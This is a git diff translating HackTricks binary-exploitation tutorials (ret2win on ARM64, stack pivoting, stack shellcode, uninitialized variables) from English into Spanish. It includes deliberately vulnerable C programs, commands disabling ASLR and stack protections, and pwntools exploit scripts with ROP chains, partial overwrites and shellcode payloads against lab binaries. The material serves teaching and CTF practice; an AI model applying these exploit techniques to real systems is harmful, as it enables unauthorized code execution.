nothing else, partial overwrite of EIP (1Byte) to call the win function +- 32 bits, nx, nada más, sobrescritura parcial de EIP (1Byte) para llamar a la función win - [https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html) - - 32 bit, nx, nothing else, partial overwrite of EIP (1Byte) to call the win function +- 32 bits, nx, nada más, sobrescritura parcial de EIP (1Byte) para llamar a la función win - [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html) - - The program is only validating the last byte of a number to check for the size of the input, therefore it's possible to add any zie as long as the last byte is inside the allowed range. Then, the input creates a buffer overflow exploited with a ret2win. +- El programa solo está validando el último byte de un número para verificar el tamaño de la entrada, por lo tanto, es posible agregar cualquier tamaño siempre que el último byte esté dentro del rango permitido. Luego, la entrada crea un desbordamiento de búfer explotado con un ret2win. - [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/) - - 64 bit, relro, no canary, nx, pie. Partial overwrite to call the win function (ret2win) +- 64 bits, relro, sin canario, nx, pie. Sobrescritura parcial para llamar a la función win (ret2win) - [https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/](https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/) - - arm64, PIE, it gives a PIE leak the win function is actually 2 functions so ROP gadget that calls 2 functions +- arm64, PIE, da una filtración PIE, la función win es en realidad 2 funciones, por lo que gadget ROP que llama a 2 funciones - [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/) - - ARM64, off-by-one to call a win function +- ARM64, off-by-one para llamar a una función win -## ARM64 Example +## Ejemplo ARM64 {{#ref}} ret2win-arm64.md diff --git a/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md b/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md index 410cf5cf0..97fc72d98 100644 --- a/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md +++ b/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md @@ -2,92 +2,80 @@ {{#include ../../../banners/hacktricks-training.md}} -Find an introduction to arm64 in: +Encuentra una introducción a arm64 en: {{#ref}} ../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md {{#endref}} -## Code - +## Código ```c #include #include void win() { - printf("Congratulations!\n"); +printf("Congratulations!\n"); } void vulnerable_function() { - char buffer[64]; - read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability +char buffer[64]; +read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability } int main() { - vulnerable_function(); - return 0; +vulnerable_function(); +return 0; } ``` - -Compile without pie and canary: - +Compilar sin pie y canario: ```bash clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie ``` +## Encontrar el offset -## Finding the offset +### Opción de patrón -### Pattern option - -This example was created using [**GEF**](https://github.com/bata24/gef): - -Stat gdb with gef, create pattern and use it: +Este ejemplo fue creado usando [**GEF**](https://github.com/bata24/gef): +Inicia gdb con gef, crea un patrón y úsalo: ```bash gdb -q ./ret2win pattern create 200 run ``` -
-arm64 will try to return to the address in the register x30 (which was compromised), we can use that to find the pattern offset: - +arm64 intentará regresar a la dirección en el registro x30 (que fue comprometido), podemos usar eso para encontrar el desplazamiento del patrón: ```bash pattern search $x30 ``` -
-**The offset is 72 (9x48).** +**El desplazamiento es 72 (9x48).** -### Stack offset option - -Start by getting the stack address where the pc register is stored: +### Opción de desplazamiento de pila +Comience obteniendo la dirección de la pila donde se almacena el registro pc: ```bash gdb -q ./ret2win b *vulnerable_function + 0xc run info frame ``` -
-Now set a breakpoint after the `read()` and continue until the `read()` is executed and set a pattern such as 13371337: - +Ahora establece un punto de interrupción después del `read()` y continúa hasta que se ejecute el `read()` y establece un patrón como 13371337: ``` b *vulnerable_function+28 c ``` -
-Find where this pattern is stored in memory: +Encuentra dónde se almacena este patrón en la memoria:
-Then: **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`** +Luego: **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`**
@@ -95,16 +83,13 @@ Then: **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`** ### Regular -Get the address of the **`win`** function: - +Obtén la dirección de la función **`win`**: ```bash objdump -d ret2win | grep win ret2win: file format elf64-littleaarch64 00000000004006c4 : ``` - -Exploit: - +Explotar: ```python from pwn import * @@ -124,13 +109,11 @@ p.send(payload) print(p.recvline()) p.close() ``` -
### Off-by-1 -Actually this is going to by more like a off-by-2 in the stored PC in the stack. Instead of overwriting all the return address we are going to overwrite **only the last 2 bytes** with `0x06c4`. - +En realidad, esto va a ser más como un off-by-2 en el PC almacenado en la pila. En lugar de sobrescribir toda la dirección de retorno, vamos a sobrescribir **solo los últimos 2 bytes** con `0x06c4`. ```python from pwn import * @@ -150,22 +133,20 @@ p.send(payload) print(p.recvline()) p.close() ``` -
-You can find another off-by-one example in ARM64 in [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), which is a real off-by-**one** in a fictitious vulnerability. +Puedes encontrar otro ejemplo de off-by-one en ARM64 en [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), que es un verdadero off-by-**one** en una vulnerabilidad ficticia. -## With PIE +## Con PIE > [!TIP] -> Compile the binary **without the `-no-pie` argument** +> Compila el binario **sin el argumento `-no-pie`** ### Off-by-2 -Without a leak we don't know the exact address of the winning function but we can know the offset of the function from the binary and knowing that the return address we are overwriting is already pointing to a close address, it's possible to leak the offset to the win function (**0x7d4**) in this case and just use that offset: +Sin un leak no sabemos la dirección exacta de la función ganadora, pero podemos conocer el desplazamiento de la función desde el binario y sabiendo que la dirección de retorno que estamos sobrescribiendo ya apunta a una dirección cercana, es posible filtrar el desplazamiento a la función win (**0x7d4**) en este caso y simplemente usar ese desplazamiento:
- ```python from pwn import * @@ -185,5 +166,4 @@ p.send(payload) print(p.recvline()) p.close() ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md b/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md index a786dea8e..e1e8de73e 100644 --- a/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md +++ b/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md @@ -2,64 +2,61 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Información Básica -This technique exploits the ability to manipulate the **Base Pointer (EBP)** to chain the execution of multiple functions through careful use of the EBP register and the **`leave; ret`** instruction sequence. - -As a reminder, **`leave`** basically means: +Esta técnica explota la capacidad de manipular el **Puntero Base (EBP)** para encadenar la ejecución de múltiples funciones a través del uso cuidadoso del registro EBP y la secuencia de instrucciones **`leave; ret`**. +Como recordatorio, **`leave`** básicamente significa: ``` mov ebp, esp pop ebp ret ``` - -And as the **EBP is in the stack** before the EIP it's possible to control it controlling the stack. +Y como el **EBP está en la pila** antes del EIP, es posible controlarlo controlando la pila. ### EBP2Ret -This technique is particularly useful when you can **alter the EBP register but have no direct way to change the EIP register**. It leverages the behaviour of functions when they finish executing. +Esta técnica es particularmente útil cuando puedes **alterar el registro EBP pero no tienes una forma directa de cambiar el registro EIP**. Aprovecha el comportamiento de las funciones cuando terminan de ejecutarse. -If, during `fvuln`'s execution, you manage to inject a **fake EBP** in the stack that points to an area in memory where your shellcode's address is located (plus 4 bytes to account for the `pop` operation), you can indirectly control the EIP. As `fvuln` returns, the ESP is set to this crafted location, and the subsequent `pop` operation decreases ESP by 4, **effectively making it point to an address store by the attacker in there.**\ -Note how you **need to know 2 addresses**: The one where ESP is going to go, where you will need to write the address that is pointed by ESP. +Si, durante la ejecución de `fvuln`, logras inyectar un **EBP falso** en la pila que apunta a un área en memoria donde se encuentra la dirección de tu shellcode (más 4 bytes para tener en cuenta la operación `pop`), puedes controlar indirectamente el EIP. A medida que `fvuln` retorna, el ESP se establece en esta ubicación creada, y la siguiente operación `pop` disminuye el ESP en 4, **haciendo que apunte efectivamente a una dirección almacenada por el atacante allí.**\ +Nota cómo **necesitas conocer 2 direcciones**: La que donde va a ir el ESP, donde necesitarás escribir la dirección a la que apunta el ESP. -#### Exploit Construction +#### Construcción del Exploit -First you need to know an **address where you can write arbitrary data / addresses**. The ESP will point here and **run the first `ret`**. +Primero necesitas conocer una **dirección donde puedas escribir datos / direcciones arbitrarias**. El ESP apuntará aquí y **ejecutará el primer `ret`**. -Then, you need to know the address used by `ret` that will **execute arbitrary code**. You could use: +Luego, necesitas conocer la dirección utilizada por `ret` que **ejecutará código arbitrario**. Podrías usar: -- A valid [**ONE_GADGET**](https://github.com/david942j/one_gadget) address. -- The address of **`system()`** followed by **4 junk bytes** and the address of `"/bin/sh"` (x86 bits). -- The address of a **`jump esp;`** gadget ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) followed by the **shellcode** to execute. -- Some [**ROP**](../rop-return-oriented-programing/) chain +- Una dirección válida de [**ONE_GADGET**](https://github.com/david942j/one_gadget). +- La dirección de **`system()`** seguida de **4 bytes basura** y la dirección de `"/bin/sh"` (bits x86). +- La dirección de un gadget de **`jump esp;`** ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) seguida del **shellcode** a ejecutar. +- Alguna cadena de [**ROP**](../rop-return-oriented-programing/). -Remember than before any of these addresses in the controlled part of the memory, there must be **`4` bytes** because of the **`pop`** part of the `leave` instruction. It would be possible to abuse these 4B to set a **second fake EBP** and continue controlling the execution. +Recuerda que antes de cualquiera de estas direcciones en la parte controlada de la memoria, debe haber **`4` bytes** debido a la parte de **`pop`** de la instrucción `leave`. Sería posible abusar de estos 4B para establecer un **segundo EBP falso** y continuar controlando la ejecución. -#### Off-By-One Exploit +#### Exploit Off-By-One -There's a specific variant of this technique known as an "Off-By-One Exploit". It's used when you can **only modify the least significant byte of the EBP**. In such a case, the memory location storing the address to jumo to with the **`ret`** must share the first three bytes with the EBP, allowing for a similar manipulation with more constrained conditions.\ -Usually it's modified the byte 0x00t o jump as far as possible. +Hay una variante específica de esta técnica conocida como "Off-By-One Exploit". Se utiliza cuando puedes **modificar solo el byte menos significativo del EBP**. En tal caso, la ubicación de memoria que almacena la dirección a la que saltar con el **`ret`** debe compartir los primeros tres bytes con el EBP, permitiendo una manipulación similar con condiciones más restringidas.\ +Usualmente se modifica el byte 0x00 para saltar lo más lejos posible. -Also, it's common to use a RET sled in the stack and put the real ROP chain at the end to make it more probably that the new ESP points inside the RET SLED and the final ROP chain is executed. +Además, es común usar un RET sled en la pila y colocar la verdadera cadena ROP al final para hacer más probable que el nuevo ESP apunte dentro del RET SLED y se ejecute la cadena ROP final. -### **EBP Chaining** +### **Cadena EBP** -Therefore, putting a controlled address in the `EBP` entry of the stack and an address to `leave; ret` in `EIP`, it's possible to **move the `ESP` to the controlled `EBP` address from the stack**. +Por lo tanto, al poner una dirección controlada en la entrada `EBP` de la pila y una dirección para `leave; ret` en `EIP`, es posible **mover el `ESP` a la dirección `EBP` controlada desde la pila**. -Now, the **`ESP`** is controlled pointing to a desired address and the next instruction to execute is a `RET`. To abuse this, it's possible to place in the controlled ESP place this: +Ahora, el **`ESP`** está controlado apuntando a una dirección deseada y la siguiente instrucción a ejecutar es un `RET`. Para abusar de esto, es posible colocar en el lugar controlado del ESP esto: -- **`&(next fake EBP)`** -> Load the new EBP because of `pop ebp` from the `leave` instruction -- **`system()`** -> Called by `ret` -- **`&(leave;ret)`** -> Called after system ends, it will move ESP to the fake EBP and start agin -- **`&("/bin/sh")`**-> Param fro `system` +- **`&(next fake EBP)`** -> Cargar el nuevo EBP debido a `pop ebp` de la instrucción `leave` +- **`system()`** -> Llamado por `ret` +- **`&(leave;ret)`** -> Llamado después de que el sistema termina, moverá el ESP al EBP falso y comenzará de nuevo +- **`&("/bin/sh")`**-> Parámetro para `system` -Basically this way it's possible to chain several fake EBPs to control the flow of the program. +Básicamente, de esta manera es posible encadenar varios EBP falsos para controlar el flujo del programa. -This is like a [ret2lib](../rop-return-oriented-programing/ret2lib/), but more complex with no apparent benefit but could be interesting in some edge-cases. - -Moreover, here you have an [**example of a challenge**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) that uses this technique with a **stack leak** to call a winning function. This is the final payload from the page: +Esto es como un [ret2lib](../rop-return-oriented-programing/ret2lib/), pero más complejo sin un beneficio aparente, pero podría ser interesante en algunos casos límite. +Además, aquí tienes un [**ejemplo de un desafío**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) que utiliza esta técnica con una **fuga de pila** para llamar a una función ganadora. Este es el payload final de la página: ```python from pwn import * @@ -75,34 +72,32 @@ POP_RDI = 0x40122b POP_RSI_R15 = 0x401229 payload = flat( - 0x0, # rbp (could be the address of anoter fake RBP) - POP_RDI, - 0xdeadbeef, - POP_RSI_R15, - 0xdeadc0de, - 0x0, - elf.sym['winner'] +0x0, # rbp (could be the address of anoter fake RBP) +POP_RDI, +0xdeadbeef, +POP_RSI_R15, +0xdeadc0de, +0x0, +elf.sym['winner'] ) payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP) payload += flat( - buffer, # Load leak address in RBP - LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it +buffer, # Load leak address in RBP +LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it ) pause() p.sendline(payload) print(p.recvline()) ``` +## EBP podría no ser utilizado -## EBP might not be used - -As [**explained in this post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), if a binary is compiled with some optimizations, the **EBP never gets to control ESP**, therefore, any exploit working by controlling EBP sill basically fail because it doesn't have ay real effect.\ -This is because the **prologue and epilogue changes** if the binary is optimized. - -- **Not optimized:** +Como [**se explica en esta publicación**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), si un binario se compila con algunas optimizaciones, el **EBP nunca controla ESP**, por lo tanto, cualquier exploit que funcione controlando EBP básicamente fallará porque no tiene ningún efecto real.\ +Esto se debe a que los **cambios de prólogo y epílogo** si el binario está optimizado. +- **No optimizado:** ```bash push %ebp # save ebp mov %esp,%ebp # set new ebp @@ -113,9 +108,7 @@ sub $0x100,%esp # increase stack size leave # restore ebp (leave == mov %ebp, %esp; pop %ebp) ret # return ``` - -- **Optimized:** - +- **Optimizado:** ```bash push %ebx # save ebx sub $0x100,%esp # increase stack size @@ -126,13 +119,11 @@ add $0x10c,%esp # reduce stack size pop %ebx # restore ebx ret # return ``` - -## Other ways to control RSP +## Otras formas de controlar RSP ### **`pop rsp`** gadget -[**In this page**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) you can find an example using this technique. For this challenge it was needed to call a function with 2 specific arguments, and there was a **`pop rsp` gadget** and there is a **leak from the stack**: - +[**En esta página**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) puedes encontrar un ejemplo usando esta técnica. Para este desafío era necesario llamar a una función con 2 argumentos específicos, y había un **`pop rsp` gadget** y hay una **leak de la pila**: ```python # Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp # This version has added comments @@ -152,15 +143,15 @@ POP_RSI_R15 = 0x401229 # pop RSI and R15 # The payload starts payload = flat( - 0, # r13 - 0, # r14 - 0, # r15 - POP_RDI, - 0xdeadbeef, - POP_RSI_R15, - 0xdeadc0de, - 0x0, # r15 - elf.sym['winner'] +0, # r13 +0, # r14 +0, # r15 +POP_RDI, +0xdeadbeef, +POP_RSI_R15, +0xdeadc0de, +0x0, # r15 +elf.sym['winner'] ) payload = payload.ljust(104, b'A') # pad to 104 @@ -168,66 +159,63 @@ payload = payload.ljust(104, b'A') # pad to 104 # Start popping RSP, this moves the stack to the leaked address and # continues the ROP chain in the prepared payload payload += flat( - POP_CHAIN, - buffer # rsp +POP_CHAIN, +buffer # rsp ) pause() p.sendline(payload) print(p.recvline()) ``` - ### xchg \, rsp gadget - ``` pop <=== return pointer xchg , rsp ``` - ### jmp esp -Check the ret2esp technique here: +Consulta la técnica ret2esp aquí: {{#ref}} ../rop-return-oriented-programing/ret2esp-ret2reg.md {{#endref}} -## References & Other Examples +## Referencias y Otros Ejemplos - [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/) - [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting) - [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html) - - 64 bits, off by one exploitation with a rop chain starting with a ret sled +- 64 bits, explotación off by one con una cadena rop que comienza con un ret sled - [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html) - - 64 bit, no relro, canary, nx and pie. The program grants a leak for stack or pie and a WWW of a qword. First get the stack leak and use the WWW to go back and get the pie leak. Then use the WWW to create an eternal loop abusing `.fini_array` entries + calling `__libc_csu_fini` ([more info here](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Abusing this "eternal" write, it's written a ROP chain in the .bss and end up calling it pivoting with RBP. +- 64 bits, sin relro, canary, nx y pie. El programa otorga un leak para stack o pie y un WWW de un qword. Primero obtén el leak de stack y usa el WWW para volver y obtener el leak de pie. Luego usa el WWW para crear un bucle eterno abusando de las entradas de `.fini_array` + llamando a `__libc_csu_fini` ([más información aquí](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Abusando de esta escritura "eterna", se escribe una cadena ROP en la .bss y se termina llamándola pivotando con RBP. ## ARM64 -In ARM64, the **prologue and epilogues** of the functions **don't store and retrieve the SP registry** in the stack. Moreover, the **`RET`** instruction don't return to the address pointed by SP, but **to the address inside `x30`**. +En ARM64, los **prologos y epílogos** de las funciones **no almacenan ni recuperan el registro SP** en la pila. Además, la instrucción **`RET`** no regresa a la dirección apuntada por SP, sino **a la dirección dentro de `x30`**. -Therefore, by default, just abusing the epilogue you **won't be able to control the SP registry** by overwriting some data inside the stack. And even if you manage to control the SP you would still need a way to **control the `x30`** register. +Por lo tanto, por defecto, solo abusando del epílogo **no podrás controlar el registro SP** sobrescribiendo algunos datos dentro de la pila. E incluso si logras controlar el SP, aún necesitarías una forma de **controlar el registro `x30`**. -- prologue +- prologo - ```armasm - sub sp, sp, 16 - stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30 - mov x29, sp // FP points to frame record - ``` +```armasm +sub sp, sp, 16 +stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30 +mov x29, sp // FP apunta al registro de marco +``` -- epilogue +- epílogo - ```armasm - ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8] - add sp, sp, 16 - ret - ``` +```armasm +ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8] +add sp, sp, 16 +ret +``` > [!CAUTION] -> The way to perform something similar to stack pivoting in ARM64 would be to be able to **control the `SP`** (by controlling some register whose value is passed to `SP` or because for some reason `SP` is taking his address from the stack and we have an overflow) and then **abuse the epilogu**e to load the **`x30`** register from a **controlled `SP`** and **`RET`** to it. +> La forma de realizar algo similar a la pivotación de pila en ARM64 sería poder **controlar el `SP`** (controlando algún registro cuyo valor se pasa a `SP` o porque por alguna razón `SP` está tomando su dirección de la pila y tenemos un desbordamiento) y luego **abusar del epílogo** para cargar el registro **`x30`** desde un **`SP`** controlado y **`RET`** a él. -Also in the following page you can see the equivalent of **Ret2esp in ARM64**: +También en la siguiente página puedes ver el equivalente de **Ret2esp en ARM64**: {{#ref}} ../rop-return-oriented-programing/ret2esp-ret2reg.md diff --git a/src/binary-exploitation/stack-overflow/stack-shellcode/README.md b/src/binary-exploitation/stack-overflow/stack-shellcode/README.md index 187c832b7..d1a518287 100644 --- a/src/binary-exploitation/stack-overflow/stack-shellcode/README.md +++ b/src/binary-exploitation/stack-overflow/stack-shellcode/README.md @@ -2,49 +2,44 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Información Básica -**Stack shellcode** is a technique used in **binary exploitation** where an attacker writes shellcode to a vulnerable program's stack and then modifies the **Instruction Pointer (IP)** or **Extended Instruction Pointer (EIP)** to point to the location of this shellcode, causing it to execute. This is a classic method used to gain unauthorized access or execute arbitrary commands on a target system. Here's a breakdown of the process, including a simple C example and how you might write a corresponding exploit using Python with **pwntools**. +**Stack shellcode** es una técnica utilizada en **binary exploitation** donde un atacante escribe shellcode en la pila de un programa vulnerable y luego modifica el **Instruction Pointer (IP)** o **Extended Instruction Pointer (EIP)** para apuntar a la ubicación de este shellcode, lo que provoca su ejecución. Este es un método clásico utilizado para obtener acceso no autorizado o ejecutar comandos arbitrarios en un sistema objetivo. Aquí hay un desglose del proceso, incluyendo un ejemplo simple en C y cómo podrías escribir un exploit correspondiente usando Python con **pwntools**. -### C Example: A Vulnerable Program - -Let's start with a simple example of a vulnerable C program: +### Ejemplo en C: Un Programa Vulnerable +Comencemos con un ejemplo simple de un programa C vulnerable: ```c #include #include void vulnerable_function() { - char buffer[64]; - gets(buffer); // Unsafe function that does not check for buffer overflow +char buffer[64]; +gets(buffer); // Unsafe function that does not check for buffer overflow } int main() { - vulnerable_function(); - printf("Returned safely\n"); - return 0; +vulnerable_function(); +printf("Returned safely\n"); +return 0; } ``` +Este programa es vulnerable a un desbordamiento de búfer debido al uso de la función `gets()`. -This program is vulnerable to a buffer overflow due to the use of the `gets()` function. - -### Compilation - -To compile this program while disabling various protections (to simulate a vulnerable environment), you can use the following command: +### Compilación +Para compilar este programa deshabilitando varias protecciones (para simular un entorno vulnerable), puedes usar el siguiente comando: ```sh gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c ``` +- `-fno-stack-protector`: Desactiva la protección de pila. +- `-z execstack`: Hace que la pila sea ejecutable, lo cual es necesario para ejecutar shellcode almacenado en la pila. +- `-no-pie`: Desactiva el ejecutable independiente de posición, facilitando la predicción de la dirección de memoria donde se ubicará nuestro shellcode. +- `-m32`: Compila el programa como un ejecutable de 32 bits, a menudo utilizado por simplicidad en el desarrollo de exploits. -- `-fno-stack-protector`: Disables stack protection. -- `-z execstack`: Makes the stack executable, which is necessary for executing shellcode stored on the stack. -- `-no-pie`: Disables Position Independent Executable, making it easier to predict the memory address where our shellcode will be located. -- `-m32`: Compiles the program as a 32-bit executable, often used for simplicity in exploit development. - -### Python Exploit using Pwntools - -Here's how you could write an exploit in Python using **pwntools** to perform a **ret2shellcode** attack: +### Python Exploit usando Pwntools +Aquí tienes cómo podrías escribir un exploit en Python usando **pwntools** para realizar un ataque **ret2shellcode**: ```python from pwn import * @@ -71,27 +66,26 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide p.sendline(payload) p.interactive() ``` +Este script construye una carga útil que consiste en un **NOP slide**, el **shellcode**, y luego sobrescribe el **EIP** con la dirección que apunta al NOP slide, asegurando que el shellcode se ejecute. -This script constructs a payload consisting of a **NOP slide**, the **shellcode**, and then overwrites the **EIP** with the address pointing to the NOP slide, ensuring the shellcode gets executed. +El **NOP slide** (`asm('nop')`) se utiliza para aumentar la probabilidad de que la ejecución "deslice" hacia nuestro shellcode independientemente de la dirección exacta. Ajusta el argumento `p32()` a la dirección inicial de tu buffer más un desplazamiento para aterrizar en el NOP slide. -The **NOP slide** (`asm('nop')`) is used to increase the chance that execution will "slide" into our shellcode regardless of the exact address. Adjust the `p32()` argument to the starting address of your buffer plus an offset to land in the NOP slide. +## Protecciones -## Protections +- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) **debe estar deshabilitado** para que la dirección sea confiable en todas las ejecuciones o la dirección donde se almacenará la función no siempre será la misma y necesitarías alguna filtración para averiguar dónde se carga la función win. +- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) también deben estar deshabilitados o la dirección de retorno EIP comprometida nunca será seguida. +- La protección de **stack** [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) impediría la ejecución del shellcode dentro de la pila porque esa región no será ejecutable. -- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) **should be disabled** for the address to be reliable across executions or the address where the function will be stored won't be always the same and you would need some leak in order to figure out where is the win function loaded. -- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) should be also disabled or the compromised EIP return address won't never be followed. -- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** protection would prevent the execution of the shellcode inside the stack because that region won't be executable. - -## Other Examples & References +## Otros Ejemplos y Referencias - [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode) - [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html) - - 64bit, ASLR with stack address leak, write shellcode and jump to it +- 64bit, ASLR con filtración de dirección de pila, escribir shellcode y saltar a él - [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html) - - 32 bit, ASLR with stack leak, write shellcode and jump to it +- 32 bit, ASLR con filtración de pila, escribir shellcode y saltar a él - [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html) - - 32 bit, ASLR with stack leak, comparison to prevent call to exit(), overwrite variable with a value and write shellcode and jump to it +- 32 bit, ASLR con filtración de pila, comparación para prevenir la llamada a exit(), sobrescribir variable con un valor y escribir shellcode y saltar a él - [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/) - - arm64, no ASLR, ROP gadget to make stack executable and jump to shellcode in stack +- arm64, sin ASLR, gadget ROP para hacer la pila ejecutable y saltar al shellcode en la pila {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md b/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md index 3ad3e61ac..fcf594298 100644 --- a/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md +++ b/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md @@ -2,47 +2,40 @@ {{#include ../../../banners/hacktricks-training.md}} -Find an introduction to arm64 in: +Encuentra una introducción a arm64 en: {{#ref}} ../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md {{#endref}} -## Code - +## Código ```c #include #include void vulnerable_function() { - char buffer[64]; - read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability +char buffer[64]; +read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability } int main() { - vulnerable_function(); - return 0; +vulnerable_function(); +return 0; } ``` - -Compile without pie, canary and nx: - +Compilar sin pie, canario y nx: ```bash clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack ``` - ## No ASLR & No canary - Stack Overflow -To stop ASLR execute: - +Para detener ASLR, ejecuta: ```bash echo 0 | sudo tee /proc/sys/kernel/randomize_va_space ``` +Para obtener el [**offset del bof revisa este enlace**](../ret2win/ret2win-arm64.md#finding-the-offset). -To get the [**offset of the bof check this link**](../ret2win/ret2win-arm64.md#finding-the-offset). - -Exploit: - +Explotar: ```python from pwn import * @@ -73,9 +66,8 @@ p.send(payload) # Drop to an interactive session p.interactive() ``` +La única cosa "complicada" de encontrar aquí sería la dirección en la pila a la que llamar. En mi caso, generé el exploit con la dirección encontrada usando gdb, pero luego, al explotarlo, no funcionó (porque la dirección de la pila cambió un poco). -The only "complicated" thing to find here would be the address in the stack to call. In my case I generated the exploit with the address found using gdb, but then when exploiting it it didn't work (because the stack address changed a bit). - -I opened the generated **`core` file** (`gdb ./bog ./core`) and checked the real address of the start of the shellcode. +Abrí el **`core` file** generado (`gdb ./bog ./core`) y verifiqué la dirección real del inicio del shellcode. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/stack-overflow/uninitialized-variables.md b/src/binary-exploitation/stack-overflow/uninitialized-variables.md index 6cde48bee..f05c8dabd 100644 --- a/src/binary-exploitation/stack-overflow/uninitialized-variables.md +++ b/src/binary-exploitation/stack-overflow/uninitialized-variables.md @@ -1,68 +1,66 @@ -# Uninitialized Variables +# Variables No Inicializadas {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Información Básica -The core idea here is to understand what happens with **uninitialized variables as they will have the value that was already in the assigned memory to them.** Example: +La idea principal aquí es entender qué sucede con **las variables no inicializadas ya que tendrán el valor que ya estaba en la memoria asignada a ellas.** Ejemplo: -- **Function 1: `initializeVariable`**: We declare a variable `x` and assign it a value, let's 